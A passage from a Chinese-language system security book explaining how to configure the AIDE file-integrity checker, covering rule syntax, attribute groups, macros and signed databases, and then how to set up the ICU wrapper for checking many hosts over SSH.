!@@{TOPDIR}/.*RCS

!@@{TOPDIR}/.*CVS

!@@{TOPDIR}/.*aide\.db.*

!@@{TOPDIR}/.*\.cvsignore.*

# @@{TOPDIR}/doc/.* All




8.2.2 调试配置文件


调试配置文件是一项很艰难的工作，选择不同的级别输出的信息的详细程度也不一样。调试配置文件时不要轻易放弃，因为第一次很难成功。

可以利用aide命令的--verbose=255参数来调试，命令如下。

[root@mail log]# /usr/local/aide/bin/aide --verbose=255

在这里需要指出，所有被监控的目录或文件都被称作是对象，这样通过查看输出的大量信息来决定哪些对象要被监控，哪些对象放弃监控。




8.2.3 文件格式比较


文件格式

aide.conf和Tripwire的配置文件类似。aide.conf区别大小写，开头和结尾的空白被忽略。

在配置文件aide.conf 中，有3 种类型的行：

首先是配置语句（config lines）：用来控制配置参数和定义/取消定义变量；

其次是选择语句（selection lines）：指明将被加入数据库的对象及监控的对象；

第三是宏语句（macro lines）：在配置文件中定义和取消定义变量；

另外还有一种情况就是以“#”开头的语句，那就是注释了。

其中选择语句（selection lines）部分是必须的；而配置语句（config lines）部分是有默认配置的，因此非必须配置；宏语句（macro lines）是可选的，只有在需要时才加入。




8.3 理解AIDE规则


在这里需要理解的是正则表达式的工作原理，可以参考一些Perl语言的书，要注意的是不同的平台对正则表达式有不同的解释方式，需要确切理解所在平台上的正则表达式的解释方式。




8.3.1 规则结构


AIDE的规则结构如下。

选择语句 对象 属性列表

其中“选择语句”与“对象”紧密相连，而“对象”与“属性列表”之间用空格隔开。

例如，下边就是一个简单的规则。

[image: figure_0101_0047]


AIDE 试图将一条规则应用到目录树中的任何一个文件，以便保证匹配所有的文件。在这种情况下就可能用到正则表达式。

示例如下。

“!/proc”会用在对根节点“/” 节点中；

“!/proc/.*”会被放置在“/proc”节点中；

“!/var/log/syslog*”会被放置在“/var/log” 节点中；

“!/home/[a-z0-9]+/.bashrc$”会被放置在“/home”节点中。




8.3.2 Aide规则配置算法


下面通过伪算法代码描述了AIDE的匹配算法，源文件是src/gen_list.c。

check_node_for_match(node,filename,first_time)

if (first_time)

check(equals list for this node)

check(regular list for this node)

if (node is not the root node)

check_node_for_match(nodes parent,filename,false)

if (this file is about to be added)

check(negative list for this node)




8.4 配置语句





8.4.1 配置语句（config lines）


配置行，其实称配置文件中的变量更合适。

这些行的格式都是“parameter=value”，对于使用URL取值的变量，其取值有以下5种类型可供选择。

stdout 标准输出

stderr 标准错误输出

stdin 标准输入

file://filename 文件输入输出

fd:number 文件描述符输入输出

[image: figure_0102_0048]


提示：

内核（kernel）利用文件描述符（file descriptor）来访问文件。文件描述符是非负整数。打开现存文件或新建文件时，内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。

习惯上，标准输入（standard input）的文件描述符是0，标准输出（standard output）是1，标准错误（standard error）是2。尽管这种习惯并非UNIX 内核的特性，但是一些shell和很多应用程序都使用这种习惯，因此，如果内核不遵循这种习惯的话，很多应用程序将不能使用。

POSIX 定义了 STDIN_FILENO、STDOUT_FILENO和STDERR_FILENO 来代替 0、1、2。这三个符号常量的定义位于头文件unistd.h中。

文件描述符是由无符号整数表示的句柄，进程使用它来标识打开的文件。文件描述符与包括相关信息（如文件的打开模式、文件的位置类型、文件的初始类型等）的文件对象相关联，这些信息被称作文件的上下文。




8.4.2 变量


配置语句（config lines）中的变量如下。

1．database

URL指定读取的数据库，每个变量指定一个值。如果有多个值，可以用多行的方法写出，但无论多少个值也只能选择其中一个。

示例如下。

database=file:/usr/local/aide/etc/aide.db1

database=file:/usr/local/aide/etc/aide.db2

database=file:/usr/local/aide/etc/aide.db3

database=file:/usr/local/aide/etc/aide.db

在aide命令读取时是读取顺序配置中的第一个。如果没有指定database变量的值，那么默认的值是“/usr/local/aide/etc/aide.db”。

2．database_out

URL指定生成新的数据库输出文件，用法同上。如果没有指定变量database_out的值，那么默认的值是“/usr/local/aide/etc/aide.db.new”。

3．database_new

这个变量是为参数--compare准备的。这个变量在配置文件中没有默认值，因此需要明确给出，示例如下。

Database_new=file:/usr/local/aide/etc/aide.db.new

4．verbose

输出信息的级别，取值范围是0～255，这个参数只能设置一次，第一次出现的值优先被使用。如果在aide命令行中只使用了参数--verbose或-V，而没有指定级别，那么默认的数值是5。在进行--check（完整性检测模式）, --update（数据库升级模式）或者--compare（数据库比较模式）时，verbose选择不同的数值将会得到不同程度的冗余信息。

5．report_url

URL指定检测报告的存放位置，这里可以设置多个存放位置，而且aide命令都会写入。默认的是标准输出设备stdout，示例如下。

report_url=file:/usr/local/aide/etc/aide.rp

report_url=file:/usr/local/aide/etc/aide.rp1

report_url=stdout

此外，

report_url=stdout

也可以写作

report_url=fd:1

这样，aide会将结果输出到3个文件。

6．gzip_dbout

用于控制是否压缩后再存入数据库。

该变量的取值有yes、true、no和false，其中yes和true表示支持，

而no和false表示不支持。默认值是no。

这个选项只有在编译安装AIDE时支持了zlib参数才可以使用。

检测是否支持zlib 可以通过aide -v 查看，命令如下。

[root@mail etc]# /usr/local/aide/bin/aide -v

Aide 0.13.1

Compiled with the following options:

WITH_MMAP

WITH_ZLIB

WITH_LSTAT64

WITH_READDIR64

WITH_MHASH

CONFIG_FILE = "/usr/local/aide/etc/aide.conf"

7．acl_no_symlink_follow是否检测符号链接的访问控制ACLs，该变量的取值有yes、true、no和false，其中yes和true表示支持，而no和false表示不支持。这个变量也是需要在编译安装时支持Hub才可以用，默认是支持符号链接检测。

下面举例说明。

[root@mail aide]# link -s mm /qm/m1　　　　//做符号连接

[root@mail aide]# echo　“123” > /qm/m1　　　　//修改链接文件

[root@mail etc]# /usr/local/aide/bin/aide –check　//做完整性检测

AIDE found differences between database and filesystem!!

Start timestamp: 2010-02-24 14:32:15

Summary:

Total number of files:　　3

Added files:　　　　0

Removed files:　　　　0

Changed files:　　　　1

---------------------------------------------------

Changed files:

---------------------------------------------------

changed: /aide/mm

--------------------------------------------------

Detailed information about changes:

---------------------------------------------------

File: /aide/mm

Size　: 0　　　　　　　　, 4

Mtime　: 2010-02-24 14:29:24　　　, 2010-02-24 14:32:13

Ctime　: 2010-02-24 14:29:24　　　, 2010-02-24 14:32:13

Linkcount: 1　　　　　　　　, 2

MD5　: 1B2M2Y8AsgTpgAmY7PhCfg==　　, uh8lEfwwQjvbsYP+M/PdDw==

可以看出对文件/qm /m1 的修改还是被检测出来了。

8．warn_dead_symlinks

是否警告死链接，该变量的取值有yes、true、no和false，其中yes和true表示支持，而no和false表示不支持。默认值是不警告死符号链接。

9．report_attributes

这是一个特别的规则定义，列举在这里的属性总是在最后的报告中显示。

10．ignore_list

这是一个特别的规则定义，列举在这里的属性将不再在最后的报告中显示。

11．config_version

这个变量用来设置版本号，这个版本号会在报告和数据库中出现，就是一个版本信息，没有什么具体的功能。

12．Group definitions

aide命令允许创建包括默认组在内的自定义组，这样可以将常用的检查类型组合成新的类型组。

如果有不止一个事先定义的参数，那么可以把这些参数看做一个属性组来定义，然后再用于表达式。表达式的格式如下。

<predefined group>| <expr> + <predefined group> | <expr> - <predifined group>

可以参考Tripwire软件的预定义组。前面提到的"ignore_list"就是一个预定义组。




8.4.3 符号“+”和“-”的使用


同Tripwire一样，在使用检测类型（属性）时要使用“+”和“−”来进行加入和去除。但与Tripwire不同的是，在AIDE中“+”不可以省略。

定义两个组如下。

All=p+i+n+u+g+s+m+c+a+md5+sha1+tiger+rmd160

First= p+i+l+n+u+g+s

再定义另两个组如下。

Other=All- rmd160

Second= First+md5

这都是可以的，但是要特别注意的是：在使用一个组时，这个组必须在配置文件中存在。如在配置文件中定义“Second= First+md5”，那么“First”组必须在配置文件中存在，否则不正确。




8.4.4 AIDE的检测类型


AIDE检测类型如下所示。

p：权限（permissions）；

i：索引节点（inode）；

l：链接名（link name）；

n：链接数量（number of links）：

类似Windows里的快捷方式，通过这个属性可以查出一个目录或文件的链接数。

u：用户；

g：用户组；

s：大小；

m：最后一次修改时间；

a：最后一次访问时间；

c：创建时间；

S：检测增加的大小；

I：忽略改变文件名；

ANF：允许新的文件；

ARF：允许删除文件；

md5：md5校验；

sha1：sha1校验；

sha256：sha256校验；

sha512：sha512校验；

rmd160：rmd160校验；

tiger：tiger校验；

haval：haval校验；

crc32：crc32校验；

R：p+i+l+n+u+g+s+m+c+md5

L：p+i+l+n+u+g

E：空组

>：增长的日志文件p+l+u+g+i+n+S

如果支持Mhash ，那么还可以检测下列类型。

gost: gost 校验

whirlpool: whirlpool校验

下列类型需要在执行./ configure --with-selinux --with-posix-acl --with-xattr 命令时明确地配置支持才有效。

acl: 访问控制列表

selinux: selinux 属性

xattr: 扩展的属性

总结以上的检测类型如下。

AIDE基本类型见表8.1。


表8.1 AIDE基本类型

[image: figure_0105_0049]


AIDE内置组类型见表8.2。


表8.2 AIDE内置组类型

[image: figure_0106_0050]


AIDE校验类型见表8.3。


表8.3 AIDE校验类型

[image: figure_0106_0051]


AIDE扩展检测类型见表8.4。


表8.4 AIDE扩展检测类型

[image: figure_0106_0052]


需要注意的是，“I”和“c”是不相容的。当一个文件的文件名改变时，它的创建时间肯定是要改变的。当同时使用了“I”和“c”时，“c”将会被忽略。

当使用“ANF”时，如果有新文件加入，新文件加入新的数据库时在报告中不会显示，而被忽略。

当使用“ARF”时，在磁盘上删除了的文件将被aide命令忽略，在新的数据库中省略了，在报告中也省略了。

示例如下。

/　R

将机器上的所有文件都添加到数据库。这一行虽然只有两个字母，但却是一条完全合格的配置文件；

!/dev

这表示忽略/dev目录结构；

=/tmp

只是将/tmp目录加入数据库，而不包括其子目录和文件；

All=p+i+n+u+g+s+m+c+a+md5+sha1+tiger+rmd160

这一行表示要定义一个组，组的名字叫ALL，在等号“=”后面列出ALL组包括的属性。

注意如下两行。

=/foo p+i+l+n+u+g+s+m+c+md5

/foo/bar p+i+l+n+u+g+s+m+c+md5

在第一行中，“=/foo”表示的意义是这样的：根据正则表达式，“/foo”表示的是一批文件或是目录，等价于“/foo.*”，而不是单纯的“/foo”。所以如果是要表示单纯的“/foo”，应该用“/foo$”，示例如下。

=/foo$ p+i+l+n+u+g+s+m+c+md5

/foo/bar p+i+l+n+u+g+s+m+c+md5

在下列两行中，第一行的写法在AIDE中是不允许出现的，必须使用第二行的写法。

/foo epug

/foo e+p+u+g




8.5 AIDE中的宏定义





8.5.1 宏语句


在AIDE中可以使用宏定义，相关的宏定义语句见表8.5。


表8.5 宏语句
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8.5.2 语法解释


1．@@define VAR value 把变量VAR 的值定义为value。

@@undef VAR 取消VAR 变量的定义。

2．@@ifdef VAR，@@ifndef VAR，@@endif,

这几个宏定义语句有2种结构4种用法。

第一种结构：@@ifdef —@@endif

其否定形式：@@ifndef —@@endif

第二种结构：@@ifdef —@@else —@@endif

其否定形式：@@ifndef —@@else —@@endif

如果使用@@ifdef VAR 或@@ifndef VAR，那么就必须使用@@endif 结束这个结构。

如果使用@@ifdef VAR…@@endif 结构，且VAR 被定义了，那么@@ifdef 和@@endif之间的语句将被执行。

如果使用@@ifdef VAR…@@else…@@endif 结构，且VAR 被定义了，则执行@@ifdef VAR和@@else之间的语句，否则执行@@else和@@endif之间的语句。

3．@@@ifndef VAR的语法和@@ifdef VAR 相同，但是语义却正好相反。

4．@@ifhost “hostname”，@@ifnhost “hostname”

这两个宏定义的用法和@@ifdef相似。它们是用于检查hostname是否等于运行AIDE的主机名。需要注意的是这里的hostname是主机名，不包括域名。

用法同上也有2种结构、4种用法。

综上所述，可以总结如下。

 AIDE中宏定义：

@@define VAR value

 AIDE中宏取消：

@@undef VAR

 AIDE中宏调用：

@@{name} name 是宏定义的名字。




8.6 选择语句





8.6.1 选择语句类型


AIDE支持3种类型的选择语句，详述如下。

1．“/”语句（regular selection lines）

以“/”开始是正则（regular）选择选项。从“/”开始按照正则表达式的规制直到该路径下的全部文件及目录被检测，或是遇到一个指定的结束符。

2．“=”语句（Equals selection lines）

以“=”打头是等于（equals）选择选项，仅仅是检测指定的目录或文件，如果是目录也不再检测其子目录和文件。

3．“！”语句（Negative selection lines）

以“!”开头是否定（negative）选择选项，从指定的位置开始不再检测，否定（negative）选择选项没有属性规则。

符号“^”含蓄地包括在每一条规则开头。第一个字符后的字符串要作为一个完整的正则表达式去匹配，包括全路径。在“/”语句模式中，斜线“/”被包括在正则表达式中了。

在读取配置文件时，AIDE 内部粗略地建立一个被检测的目录树，每一个节点相当于一个目录，每一个节点都有与之相关联的规则选择（“/”语句、“=”或者是“！”语句）。如果没有与之关联的语句，那么该对象的属性列表为空。




8.6.2 符号“！”和“$”的使用


需要指出的是，可以使用“！”来忽略某一个对象而不进行检测。例如上面的例子中使用了!/var/log/.*，表示忽略/var/log/目录下的所有文件。

但是如果只是忽略一个文件就会出现新的问题，例如“!/var/log/spooler”语句，根据正则表达式的作用，只要以spooler开头的文件都将会被忽略，因此也会将一些有用的文件忽略，所以要用到另一个符号“$”，“$”在正则表达式中表示行尾，因此使用它可以精确地表示一个文件。例如只对/path/file1 进行监控，那么可以用“/path/file1$”，即使该目录下有 file2、file3 等等文件都不会被监控。




8.7 数据库和配置文件的校验签名


通过使用签名功能可以增强AIDE的安全性，可以对数据库文件和配置文件进行签名校验。当对数据库签名后，如果手工对数据库文件进行修改，AIDE 会拒绝使用这个数据库。同样地，如果对配置文件签名后，手工修改配置文件，那么AIDE也会拒绝使用这个配置文件，直到对嵌入的hash进行升级。但是需要注意的是，对于配置文件的升级签名必须手工修改，而不能用patch命令。




8.7.1 相关的configure参数


要使用签名功能（signing features），在执行configure脚本配置时可以选择下列选项。

--with-confighmactype=TYPE

用于配置检测的Hash 类型，有效值有md5 和sha1。

--with-confighmackey=KEY

设置HMAC hash值用于配置文件检测，必须进行base64 编码。KEY 字符串的最大长度为31字符。

--with-dbhmactype=TYPE

用于数据库检测的Hash 类型，有效值有md5 和sha1。

--with-dbhmackey=KEY

设置 HMAC hash 值用于数据库检测，必须进行 base64 编码。KEY 字符串的最大长度为 31字符。

由于进行base64编码，所以KEY并非局限于打印字符。可以使用base64编码工具生成，也可以使用如下在线生成工具。

http://www.opinionatedgeek.com/dotnet/tools/Base64Encode/

相应的解码工具如下。

http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/Default.aspx

示例如下。

[root@mail aide-0.13.1]#./configure --with-confighmactype=sha1 \

--with-confighmackey="YWlkZSBhaWRlIGFpZGUgYWlkZQo=" \

--with-dbhmactype=sha1 \

--with-dbhmackey="YWlkZSBhaWRlIGFpZGUgYWlkZQo="

如果使用强制性的校验签名，那么需要使用下列参数。

--enable-forced_dbmd

强制数据库文件/管道（pipe）进行校验和。

--enable-forced_configmd

强制配置文件进行校验和，也使得--config-check失去作用。

也可以手工编辑config.h文件，修改宏定义FORCEDBMD和FORCECONFIGMD的值。

示例如下。

/* don't force config checksum */

#define FORCECONFIGMD 0

/* don't force database checksum */

#define FORCEDBMD 0

以上是文件config.h 的代码，可以看得出“0”表示不强制使用校验和，而“1”表示强制使用校验和。




8.7.2 建立校验签名的数据库和配置文件


建立校验签名的aide.db 数据库是通过aide --init或—update 命令参数建立的；建立校验签名的aide.conf配置文件是通过--config-check参数建立的。

注意下面的例子中使用了“--enable-forced_configmd”参数。

[root@mail aide-0.14-rc1]# ./configure --prefix=/usr/local/aide4 \

-with-confighmactype=sha1 --with-confighmackey="MTIzNDU2" \

--with-dbhmactype=sha1 --with-dbhmackey="MTIzNDU2" \

--enable-forced_dbmd --enable-forced_configmd

进行--config-check检测，从而生成hash值的命令如下。

[root@mail etc]# /usr/local/aide4/bin/aide --config-check

Can't give config checksum when compiled with --enable-forced_configmd

可见由于在configure时使用了“--enable-forced_configmd”参数而不能生成hash值。

如果在configure时不用“--enable-forced_configmd”参数，那么会得到如下结果。

[root@mail etc]# /usr/local/aide4/bin/aide --config-check

Config checked. Use the following to patch your config file.

0a1

> @@begin_config /jcrhrWglxVYnzuvaXL6F9iGtbk=

3a5

> @@end_config

这是期望得到的结果，然后将@@begin_config和@@end_config之间的内容手工添加到配置文件aide.conf中，或者是利用patch命令添加。

示例如下。

[root@mail etc]# /usr/local/aide4/bin/aide --config-check|patch

can't find file to patch at input line 2

Perhaps you should have used the -p or --strip option?

The text leading up to this was:

--------------------------

|Config checked. Use the following to patch your config file.

--------------------------

File to patch: /usr/local/aide4/etc/aide.conf

patching file /usr/local/aide4/etc/aide.conf

此时再看配置文件如下。

[root@mail etc]# more aide.conf

@@begin_config /jcrhrWglxVYnzuvaXL6F9iGtbk=

/tr R

@@end_config

而原来的配置文件。

[root@mail etc]# more aide.conf

/tr R

由于使用了”--enable-forced_configmd”参数，导致 AIDE 拒绝给配置文件校验签名，那么使用”--enable-forced_configmd”的意义何在呢？实际上该参数的目的是操作一个已经校验签名过的配置文件，或者操作其他机器上已经校验签名的配置文件。




8.7.3 使用校验签名的意义


1．对使用了校验签名的数据库内容进行删除修改

下面是一个对使用了校验签名的数据库内容进行了部分删除后的完整性检测。

[root@mail etc]# /usr/local/aide4/bin/aide --check

Db checksum mismatch for db:1

Aborted

可以看出AIDE发现了问题，而拒绝检测。

而对一个未使用校验签名的数据库内容进行了同样的删除后的完整性检测如下。

[root@mail etc]# /usr/local/aide/bin/aide --check

AIDE found differences between database and filesystem!!

Start timestamp: 2010-02-26 14:14:11

Summary:

Total number of files:　　　7

Added files:　　　　2

Removed files:　　　　0

Changed files:　　　　0

---------------------------------------------------

Added files:

---------------------------------------------------

added: /aide/jil

added: /aide/tr.1

可以看出AIDE检测后认为有了新对象加入。

[root@mail etc]# vi aide.conf

@@begin_config /jcrhrWglxVYnzuvaXL6F9iGtbk=

/tr R

/aide R

@@end_config

2．对使用了校验签名的配置文件内容进行删除修改

下面是一个对使用了校验签名的配置文件内容进行了添加对象后的完整性检测。

[root@mail etc]# /usr/local/aide4/bin/aide --check

Config checksum mismatch

可以看出，AIDE提示配置文件出了问题。

而对未使用校验签名的配置文件做同样的修改后，完整性检测如下。

[root@mail etc]# /usr/local/aide/bin/aide --check

AIDE found differences between database and filesystem!!

Start timestamp: 2010-02-26 14:45:29

Summary:

Total number of files:　　　8

Added files:　　　　1

Removed files:　　　　0

Changed files:　　　　0

---------------------------------------------------

Added files:

---------------------------------------------------

added: /tr

提示有新对象加入。

3．两者比较

虽然使用校验签名和不使用校验签名都能看出监控对象的变化，但是使用了校验签名的数据库和配置文件更能说明是被篡改过数据库或配置文件还是确实是监控的对象有了变化；而未使用校验签名的数据库和配置文件只能是笼统地说明监控对象有变化。




8.8 实验


本部分以实验的形式讲述AIDE软件的安装与部署。

1．安装环境

[root@mail local]# uname -a

Linux mail 2.6.18-53.el5 #1 SMP Wed Oct 10 16:34:02 EDT 2007 i686 i686 i386 GNU/Linux

2．下载AIDE软件

下载地址（可以使用wget工具）如下。

[root@mail ～]wget http://cdnetworks-kr-1.dl.sourceforge.net/ \

> project/aide/aide/0.13.1/aide-0.13.1.tar.gz

3．解压缩下载的软件包

[root@mail ～]# tar -zxvf aide-0.13.1.tar.gz

4．编译安装

参考INSTALL和README文件。

[root@mail aide-0.13.1]#./configure --prefix=/usr/local/aide/

[root@mail aide-0.13.1]# make

[root@mail aide-0.13.1]# make install

下面是安装完成后的目录结构。

[root@mail local]# tree aide/

aide/

|-- bin

| '-- aide

'-- share

'-- man

|-- man1

| '-- aide.1

'-- man5

'-- aide.conf.5

5 directories, 3 files

5．定制配置文件

[root@mail local]cd aide/

[root@mail aide]mkdir etc

[root@mail aide]cd etc

[root@mail etc]vi aide.conf

/etc R

/sbin R

6．执行检查

这部分可以参考7.3节，就不再赘述了。




第9章 使用ICU


首先要明确一点，ICU是对AIDE的一个扩展，但它不能替代AIDE，因为它不具有AIDE的功能。另外，ICU本身也没有通信协议，是借助SSH来实现的。那我们用它干嘛呢？这就是我们本章要说的——它可以构建ICS（Integrity Checking Server）完整性检测服务器来扩展AIDE的功能。

如果你要维护上百台的机器，我确定这是一个不错的选择，它通过客户端/服务器的模式来监控你要监控的机器。

它只有一个命令，那就是ICU.pl命令。从该命令的扩展名可以看出，它是一个Perl语言编写的脚本文件，但其功能强大，所有任务都由它完成。该命令工作在如下3种模式。

一般模式（General usage）；

体检模式（Sanity check）；

密钥生成模式（Key generation）。

其中一般模式又可分为如下3种模式。

客户端安装包生成模式；

客户端初始化模式；

客户端完整性检测模式。

选项部分还有2种显示模式，分别如下。

详细模式（Verbose mode）；

调试模式（Debug mode）。




9.1 了解ICU


ICU（Integrity Checking Utility）是一个使用Perl语言编写的程序，用来在服务器上远程执行客户端AIDE（Advanced Intrusion Detection Environment）并通过邮件返回报告。它的作者是Andreas Östling，个人主页为http://nitzer.dhs.org/ICU/ICU.html。

从服务器到客户端是通过SSH（在实际配置中是通过OpenSSH）工作的。设计这种结构的目标在于使得在新机器上设置AIDE变得容易，也能够使得很多台机器经常性自动检测（通过cron），并把检测文件存放到指定的安全位置。ICU是一个手工完整性检测的方便补充，但不能替代完整性检测。

ICU软件作者的目的就是编写一个比Tripwire更方便使用的软件。正如他想的，通过建立一个ICS（Integrity Checking Server）完整性检测服务器（当然要先在该服务器上安装AIDE，前边说过ICU只是AIDE的一个扩展），在这个服务器上ICU为将来的客户端提供了AIDE二进制软件和默认配置文件（都是根据客户端CPU架构和操作系统的）。但需要注意的是，默认的配置文件只是一个示例文件，所以还要根据客户端的具体情况进行定制。通过ICU建立ICS（不要感到困惑，ICS就是安装了ICU软件的一台服务器）的最大好处是如果有很多台机器需要安装AIDE，那么通过ICS安装一台机器用不了几秒钟！

使用ICU的一个最主要的原因是，在一台新加入网络的主机上进行AIDE安装十分容易（可见ICU只是调用了AIDE，而不能取代AIDE），只需要在ICU.host文件中加入要监控的机器，然后再运行ICU.pl脚本文件就可以为这个客户端建立一个tar安装包，包中包括了客户端所需的文件，然后将这个包传送到客户端解压安装就可以了。在客户端的安装包中有一个 icu-install.sh 文件，这个文件就是安装的脚本文件。




9.1.1 ICU的工作原理


看一个实际的检查如何工作，就可以知道ICU的基本工作原理。

（1）ICU 服务器通过 scp 命令从远程的客户端获取 aide.bin（AIDE 的二进制文件）、aide.db（完整性检测的数据库文件）和 aide.conf（AIDE 配置文件），然后再与存储在服务器端相应的文件进行比较。如果是二进制文件改变，那么就会放弃检测；如果是其他两个文件有任何一个发生改变，那么将会发送电子邮件说明什么被修改了，然后在ICU服务器端用新的文件进行升级。

（2）ICU 服务器与ICU 客户端是通过SSH使用安全密钥（而不是输入密码）进行连接检测的，ICU客户端接收服务器端的密钥认证并且根据与之相应的公钥执行相应的命令。

（3）如果AIDE命令没有给出任何输出，那么就意味着文件系统完整（就是说所监控的对象没有发生改变），否则输出的内容会通过电子邮件发送给管理员，同时也会写入 ICU 服务器上的log文件（每一个ICU客户端在ICU服务器上都有相应的log文件）。

（4）ICU服务器再次通过scp命令将新的aide.db数据库文件从客户端拷贝到服务器端。如果在文件检测的过程中发现有任何改变，在服务器端的数据库都会升级。需要讲清的是，无论是合法的还是不合法的改变都会升级，这是因为每次检测完成后都会改变数据库中的MD5指纹密码，如果不升级那么在下次检测时会发现 MD5 指纹密码不匹配。ICU 服务器会确定这个数据库创建时间实际上已经被更新，旧的数据库将会在ICU服务器端存档，对于aide的配置文件也是一样。




9.1.2 安装ICU的要求


安装ICU包括客户端和服务器端两部分，也就是说它是一个客户端/服务器的结构。

1．服务器端

一台没有受到破坏的UNIX 系统主机，装有Perl5，Sendmail 和最新版本的OpenSSH。使用其他 SSH 可能需要大量调整配置文件ICU.conf的工作，而且也不能确定最终能使用。已经测试安装的系统有OpenBSD和Linux。另外还需要磁盘空间，用来存放日志和数据库文件。要根据实际情况，如客户端数量的多少、数据库的大小，来选择磁盘空间。客户端和服务端要有一个高速的网络连接（因为客户端要将AIDE二进制、配置文件和数据库文件传输到服务器端）。

2．客户端

客户端需要安装sshd/scp，多数安装的是SSH1，要使用SSH2就必须安装OpenSSH（Redhat都已默认安装）。需要注意的是，SSH2 使用的是 OpenSSH DSA 密钥。另外需要注意的是 AIDE的安装环境，根据测试，OpenBSD、FreeBSD、NetBSD、SunOS/Solaris和Linux都可以安装AIDE。客户端也需要磁盘空间，用来存放AIDE二进制文件、配置文件和数据库文件。




9.2 编译和安装





9.2.1 安装ICU服务器


安装ICU服务器比较容易，有以下步骤。

1．查看源代码目录

解压缩ICU-version.tar.gz文件，会建立一个ICU-version目录。将该目录移动到合适的位置，ICU软件的作者推荐将ICU-version目录移动到/usr/local/目录下，并使用ICU的名字，命令如下。

[root@mail ～]# tar -zxvf ICU-0.5.tar.gz

[root@mail ～]# mv ICU-0.5 /usr/local/ICU

先看一下刚解压缩完的目录。

[root@mail local]# tree ICU

ICU

|-- ChangeLog

|-- FAQ

|-- GCP.pm　　　　　　//一个perl模块，由ICU.pl调用

|-- ICU.conf　　　　　　//ICU配置文件

|-- ICU.hosts　　　　　　//ICU客户端登记（加入）

|-- ICU.pl　　　　　　//ICU主命令

|-- INSTALL

|-- README

|-- UPGRADING

|-- USAGE

|-- binaries

|-- client

|　|-- ICU.installscript　　　//客户端安装脚本

|　|-- README.installscript　　//客户端安装包中的README

|　'-- welcome.mailbody　　　//发送电子邮件时的邮件主题内容

|-- configs　　　　　　//客户端的aide配置示例文件

|　|-- aide.conf-i386-freebsd　//包括了6类操作系统的8个文件

| |-- aide.conf-i386-linux

| |-- aide.conf-i386-netbsd

| |-- aide.conf-i386-openbsd

| |-- aide.conf-sparc-linux

| |-- aide.conf-sparc-solaris26

| |-- aide.conf-sparc-solaris7

| '-- aide.conf-sparc-solaris8

|-- databases

|-- keys

|-- logs

'-- tmp

2．设置运行用户

添加一个icu用户，用来运行ICU。ICU不能用root用户来运行。递归修改ICU目录的所有者，让icu用户拥有ICU目录及其子目录和文件。设置用户对ICU目录的权限为0700，让用户icu对目录ICU有全部权限。命令如下。

[root@mail local] chown -R icu /usr/local/ICU

[root@mail local] chmod 0700 /usr/local/ICU

3．编辑配置文件

配置文件ICU.conf的有些地方必须修改。首先要修改的是变量icu_basedir，这个变量的值是ICU的安装目录，如果将ICU安装在/usr/local目录下，那么就应该将该变量设置如下。

icu_basedir = /usr/local/ICU

然后是变量icu_server_name，它的值可以是ICU服务器的主机名或者是IP地址，示例如下。

icu_server_name=192.168.4.21

另外还要修改电子邮件地址等等，检查一下所有的变量配置，具体内容参考配置文件解析。

运行./ICU.pl –s 命令进行体检（Sanity check）,应该出现的警告信息是没有SSH keys 从而体检失败（下一步才生成 SSH keys）。如果还出现其他的错误信息，那么就要检查配置文件了，直到只出现没有SSH keys 的错误提示。

命令示例如下。

[icu@mail ICU]$ ./ICU.pl -s

Initializing sanity check.

Warning: The RSA1 key /usr/local/ICU/keys/key_init_db.pub doesn't exist.

Warning: The RSA1 key /usr/local/ICU/keys/key_init_db doesn't exist.

Warning: The RSA1 key /usr/local/ICU/keys/key_check.pub doesn't exist.

Warning: The RSA1 key /usr/local/ICU/keys/key_check doesn't exist.

Warning: The RSA1 key /usr/local/ICU/keys/key_get_conf.pub doesn't exist.

Warning: The RSA1 key /usr/local/ICU/keys/key_get_conf doesn't exist.

Warning: The RSA1 key /usr/local/ICU/keys/key_get_bin.pub doesn't exist.

Warning: The RSA1 key /usr/local/ICU/keys/key_get_bin doesn't exist.

Warning: The RSA1 key /usr/local/ICU/keys/key_get_db.pub doesn't exist.

Warning: The RSA1 key /usr/local/ICU/keys/key_get_db doesn't exist.

Warning: you won't be able to use SSH1.

Warning: The OpenSSH DSA key /usr/local/ICU/keys/dsakey_init_db.pub doesn't exist.

Warning: The OpenSSH DSA key /usr/local/ICU/keys/dsakey_init_db doesn't exist.

Warning: The OpenSSH DSA key /usr/local/ICU/keys/dsakey_check.pub doesn't exist.

Warning: The OpenSSH DSA key /usr/local/ICU/keys/dsakey_check doesn't exist.

Warning: The OpenSSH DSA key /usr/local/ICU/keys/dsakey_get_conf.pub doesn't exist.

Warning: The OpenSSH DSA key /usr/local/ICU/keys/dsakey_get_conf doesn't exist.

Warning: The OpenSSH DSA key /usr/local/ICU/keys/dsakey_get_bin.pub doesn't exist.

Warning: The OpenSSH DSA key /usr/local/ICU/keys/dsakey_get_bin doesn't exist.

Warning: The OpenSSH DSA key /usr/local/ICU/keys/dsakey_get_db.pub doesn't exist.

Warning: The OpenSSH DSA key /usr/local/ICU/keys/dsakey_get_db doesn't exist.

Warning: you won't be able to use SSH2.

Sanity check FAILED for command './ICU.pl -s' executed Mar 3 09:10:49.

Maybe you need to edit ./ICU.conf? Things that failed:

* No usable keys found - both RSA1 and DSA keys are missing.

Exiting...

在这个过程中，ICU分别查找了ssh1和ssh2两个方式，结果都没有找到他们的key。

4．生成密钥对

这一步将生成SSH密钥对（SSH key pairs）。生成SSH 密钥对的命令如下。

./ICU.pl -G <type>

type的值可以是rsa1、dsa或all。需要注意如下内容。

生成了SSH密钥对（SSH key pairs）后，在配置文件ICU.conf 中的一些变量就不能再修改了，因此这些变量一定要在SSH密钥对生成之前设置好。这些变量有

host_basedir、aide_check_cmd、aide_init_db_cmd、send_bin_cmd、send_conf_cmd、send_db_cmd、key_options、rsa_keygen_cmd和dsa_keygen_cmd。

ICU可以支持如下两种不同的密钥对。

RSA（“RSA1”）密钥对，这种密钥对用来支持SSH1；

OpenSSH DSA 密钥对，这种密钥对用来支持SSH2。

这里推荐同时建立这两种密钥对，使用“./ICU.pl -G all”。当然除非知道你只用其中的某一种密钥对，实际上现代的Linux操作系统都可以使用DSA。命令如下。

[icu@mail ICU]$ ./ICU.pl -G all

Output from the key generation commands will go to /usr/local/ICU/logs/ICU.log.

Generating RSA1 keys for use with SSH protocol version 1.

Generating /usr/local/ICU/keys/key_init_db and /usr/local/ICU/keys/key_init_db.pub.

Generating /usr/local/ICU/keys/key_check and /usr/local/ICU/keys/key_check.pub.

Generating /usr/local/ICU/keys/key_get_bin and /usr/local/ICU/keys/key_get_bin.pub.

